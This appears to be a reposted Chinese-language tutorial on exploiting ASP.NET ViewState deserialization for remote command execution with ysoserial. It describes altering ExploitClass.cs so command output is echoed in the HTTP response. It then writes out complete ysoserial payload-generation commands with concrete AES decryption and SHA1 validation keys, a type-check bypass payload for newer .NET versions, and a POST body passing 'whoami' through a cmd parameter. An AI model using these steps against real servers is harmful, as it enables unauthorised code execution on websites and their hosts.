0x01 工具分析
ysoserial 1.35版内置的ExploitClass.cs文件代码已做了很多更改,大约提供了创建WebShell、DNS请求、cmd执行系统命令、线程休眠10秒、写入Cookies 这5项红队利用方式,其中默认开启注释的是引入了System.Windows.Forms.dll组件,弹出WinForm窗体对话框,如下图
但是在老版本ysoserial 中ExploitClass.cs中定义的E()构造方法引入HttpContext类,该类提供了对当前HTTP请求的访问和操作,并且在整个请求生命周期中存储和共享有关请求的信息,比如HttpContext.Request、HttpContext.Response对象,结合Process.StandardOutput.ReadToEnd()方法可获取进程执行后返回的数据流信息,从而得到执行系统命令在Web侧的回显结果,将ExploitClass.cs内容修改成如下图所示代码
0x02 工具使用
笔者使用ActivitySurrogateSelectorFromFile作为 ysoserial ViewState 生成器,运行如下命令生成payload,如"代码清单4-3-5-3"所示
ysoserial.exe -p
ViewState
-g
ActivitySurrogateSelectorFromFile
-
c
"ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll"
--path=
"/About.aspx"
--apppath=
"/"
--decryptionalg=
"AES"
--decryptionkey=
"34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887"
--validationalg=
"SHA1"
--validationkey=
"70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
当然在较新的.NET版本下需要先提交ActivitySurrogateDisableTypeCheck绕过补丁,然后再发送上述命令生成的payload,运行如下命令生成payload,
ysoserial.exe -p
ViewState
-g
ActivitySurrogateDisableTypeCheck
-
c
"ignore"
--path=
"/About.aspx"
--apppath=
"/"
--decryptionalg=
"AES"
--decryptionkey=
"34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887"
--validationalg=
"SHA1"
--validationkey=
"70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
最后在HTTP PostBody请求时添加cmd参数,笔者这里指定为whoami,再传递__VIEWSTATE值payload,返回预期结果如下图 cmd=whoami&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=payload
星球优惠活动
原文始发于微信公众号(dotNet安全矩阵):.NET ViewStates RCE 回显命令执行结果
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论